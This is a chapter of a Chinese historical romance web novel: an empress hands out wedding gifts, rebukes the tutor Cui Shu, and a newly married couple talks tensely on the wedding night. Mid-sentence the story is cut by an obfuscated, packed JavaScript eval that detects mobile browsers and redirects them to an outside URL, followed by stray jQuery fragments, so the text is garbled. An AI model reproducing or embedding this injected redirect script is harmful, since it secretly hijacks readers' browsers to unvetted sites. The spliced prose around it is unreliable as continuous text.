按照旧制，本应由主家一并领受再行分赏，但今日中宫要亲自面赏，主家去前厅请人时，众人便知今日这门亲事甚得宫中重视，不由生出几分艳羡。


    名册上众人先于院外相候，司檀念名后，才进院叩首谢恩。


    永定侯夫妇本不满这门亲事，因薛向执意要与崔家结亲，婚期临近，近来家中气氛更是沉闷，却不料此门亲事竟使中宫亲临，夫妇二人面上有光，连日来的不豫便淡了几分，千恩万谢地磕完头，满面红光地到外院招呼贵客去了。


    到薛向时，司檀手持黄绢礼册，声调清亮地念道：“着赏新郎刑部右侍郎薛向金器百两、绢三百匹、纻丝百匹、马四匹。”


    薛向正要谢恩，上首章容却开了口：“崔氏女素有才名，着再赏文房一套、珍珠冠一顶。”


    薛向叩首：“臣代新妇谢娘娘厚爱。”


    待至崔家时，崔允望领了常规赏赐。


    崔则进内，除按制恩赏外，雍容国母以笑相待，夸赞道：“崔易在宫中伴读，治学勤勉，品性谦和，实当嘉奖，另赏紫檀嵌玉文匣一只、麒麟锁一件。”


    崔则叩首，不卑不亢：“犬子年少，行事多有乖张，幸为娘娘与诸学士悉心教导，方不致荒费光阴，谢娘娘恩典。”


    一时众人散去，院外只余崔述一人。


    司檀语气平平，按照名册往下念道：“著请太子少师崔述。”


    崔述入内，垂首行罢礼，上首的目光沉沉地落下来，令室内气氛骤然为之一紧。


    端量片刻，章容吩咐道：“崔少师抱病已久，赐座吧。”


    崔述谢过恩，掀袍落座，等着她的下文。


    章容命周缨上前，将近日东宫课业细细与他说来。


    崔述听着，慢慢蹙起了眉。


    章容适时问：“崔少师身子养得如何了？不知还要将养到何时才能复任？”


    崔述答得恭谨：“近来已有好转之势，应是快了。”


    “崔少师在与圣上置气？”章容胸中含怒，面上却不显，冷淡地将讽刺之语说来，“储君课业乃国本所系，崔少师怎敢以此为博弈之资，与圣上生隙？”


    却听得周缨心下一惊，悄悄往下首看去，眸中担忧之色倒藏得极好。


    “身为臣工，怎敢与圣上置气，又怎敢罔顾储君之基？娘娘说笑了。”


    章容叫他一噎，沉默半晌，才极平和地道：“恃才自傲者，从来行不远，望崔少师勿做庸人。”


    仪态端方，话里也听不出分毫不满。


    崔述应道：“谨记娘娘教诲。”


    “圣上挂念崔少师，数月未见，特命我来看看。”章容声调沉和，先前那分脾气压抑得毫无踪影，“待身子将养好，崔少师还是速速回朝罢，莫让圣上担忧。”


    “是。”崔述再应。


    见他态度恭顺，挑不出错处，章容止住话头，不再出声。


    司檀会意，执礼册上前宣赏：“太子少师崔述，着赏金带一条、青玉笔山一架、松烟墨二匣。”


    除新人外，竟是今日赏赐第一等。


    崔述正欲起身谢恩，司檀接道：“另赏蜜煎一盒。”


    剔红攒盒呈上，内盛糖渍青梅、蜜渍金橘、梅苏丸各色果脯。


    崔述微微诧异地看向章容，章容平视前方，只当没感知到这道目光。


    “谢娘娘恩典。”崔述压下疑惑，谢恩出去。


    席间已得知此消息，又有些官员前来道贺，崔述礼貌应酬，面上始终挂着得体的笑。


    一番赏赐热热闹闹地颁下来，章容深感倦乏，却仍是多坐了片刻，给足了她这个并不亲近的姑母面子，才起驾回宫。


    凤辇到景和宫时，齐应正在殿中看折子。


    瞧见她面含愠怒地进来，不由揶揄道：“是哪位大能人敢把阿姊气成这样？与我说来，我当即便下旨申饬。”


    章容轻嗤：“只怕陛下舍不得。”


    齐应面色渐凝，眉间皱得厉害：“述安仍心存芥蒂，不肯回来？”


    “说是快了。”章容没好气道，“架子倒比我都大，陛下眼巴巴地扯了由头派我去厚赏安抚，人家未必领情。怕是要陛下三请三顾，才肯回来了。只可惜殿下的功课被耽误了，那些侍讲官也不乏才学，传道授业上却有些古板，延儿近来兴致缺缺，少有进益。”


    “阿姊消气。”齐应无奈道，“这事上的确是我对不住他，他心里若不痛快，我也没甚么话好说。”


    “说是这般说，但为人臣子，荣辱皆在君上一念间，岂可对君上拿乔？我瞧他还是有些恃宠而骄了。”


    齐应不禁一笑。


    章容这才反应过来自个儿这话说得奇怪，嗔道：“措辞不妥，但我瞧着倒真是这个理。”说着不由笑了一下，“我多赏了他一盒蜜煎。”


    “哦？”齐应饶有兴味地看过来。


    “只加了一分糖。”章容语气平平，一本正经地说，“这驴脾气，叫他回家吃酸果子去罢。”


    齐应“噗”地一笑：“阿姊这脾气倒更胜一筹。”


    伸手将她揽入怀中，眷恋地嗅了嗅她发间馨香，齐应温声道：“述安与其他臣工到底不同，阿姊莫要恼他，凡有照面，替我多多礼遇，可好？”


    温柔嗓音自头顶传来，章容瞧着溶溶夜色，应道：“我虽有几分恼他如此行事，但到底还是敬他重他，陛下大可放心，不必怕我给你的心尖人难堪。”


    惹得齐应又是一笑。


    -


    夜色愈发沉了。


    蕴真身着喜服，端坐在榻边，安静地等着。


    果脯糕点尝了不少，但酸与甜穿肠而过，皆进不了心间。


    满堂喜烛燃着，衬得屋内诡异的凄清。


    门被轻轻推开，酒气先一步飘进来些许，官靴踏地声停在外间，随即侍女奉上巾栉，水滴碰壁声轻轻传来，而后水声哗啦，似在清洗。


    半盏茶功夫过去，薛向绕过屏风，进得里间，目光落在榻边端坐的新妇上。


    这是上次茶楼隔着笠帽远观一眼后，他头一回见着自个儿的妻子。


    崔氏女容貌娇妍，安安静静地坐在榻边，看过来的一双眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16321552|183129||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里，含怨存嗔，终又归于寂然。


    薛向迈步走向榻边，低头睨着她满头珠翠未能压弯的脖颈。


    身材魁梧的男人停在身侧，并不浓重的酒气混着经年养成的肃杀之气扑面而来，蕴真微微垂眼，皮肤上悄无声息地冒出一层小疙瘩。


    而后，薛向弯下了素来挺直的腰板，单膝半跪在她跟前，伸手来触她的喜鞋。


    蕴真下意识地将脚往后一缩。


    却被一只遒劲有力的大手紧紧钳住。


    脚腕上的痛意顺着下肢传上来，蕴真试图挣脱，却被禁锢得动弹不得。


    先前的慌乱已被愠怒替代，她垂眼去盯他，语气尖锐：“你想做什么？”


    竹影松心又惊又惧，欲上前阻止，然而才刚动一步，薛向已微微侧头，递过来一个威严不容驳斥的眼神，只得生生住了脚。


    薛向这才转头，手上微动，替她将那双精致秀美的嵌珠云锦喜鞋褪了下来。


    竹影松心胸肺间猝然一松，呼吸重新顺畅起来。


    薛府仆妇形色各异。


    蕴真却是又惊且恼，赤足坐在榻边，愤怒地瞪着他。


    薛向往后一伸手，薛府仆妇奉上一双宽松的平头履，薛向接过，替蕴真一只只穿好，然后才说：“夜已深了，累了一整日，夫人早些歇息吧。”


    蕴真满腹怒气委屈犹如打在棉花上，顷刻间散了一地。


    薛向起身走向外间，行将转过屏风的时候，被身后一声含颤的声音唤住：“薛明劭。”


    他顿住脚步，回头看来，嘴角含着一抹玩味的笑，似是对她如此唤他感到新奇。


    崔蕴真站起身来，被繁复厚重的喜服一衬，身量似也被压低了些，瞧着比上次茶楼里矮了少许。


    “我有话和你说。”


    薛向回身，行至窗沿下，随意掀袍一坐：“恭请赐教。”


    蕴真缓步行至他身前，目光垂落在他脸上。


    其实是极英气的一张脸，然而与三哥的那种好看并不相同，少三分温和，添七分刚硬，经年累月官场浸淫，硬朗有余，不怒而自威。


    然而蕴真并未被皮相蛊惑，冷硬道：“你执意娶我，到底是为着什么？当日不说尚且没关系，但如今亲事已定，我已为局中人，总该告诉我了。”


    薛向懒散地掀起眼皮，笑着看她，却没有要回答的意思。


    “从今日起，你是永定侯府长媳，府中所有人都不会慢待你，将对你恭敬相待，你亦不必分心事舅姑，忙庶务，仍旧可以过你出阁前的惬意日子，并不会有太大区别。”


    想了想，薛向又接道：“在你心甘情愿同我做夫妻之前，我亦不会强人所难，你大可放心。”


    想要的答案仍未得到，然而这番话却令蕴真一时头脑有些晕乎乎。


    “多问无益，你如此追问，一定要探知真相，无非是觉得我在利用你，或者利用崔家。”


    薛向促狭地笑了一下：“你可以就这样认为。但没关系，永定侯府非一无是处，我应当也不是毫无价值，你也可以利用我，利用薛家。”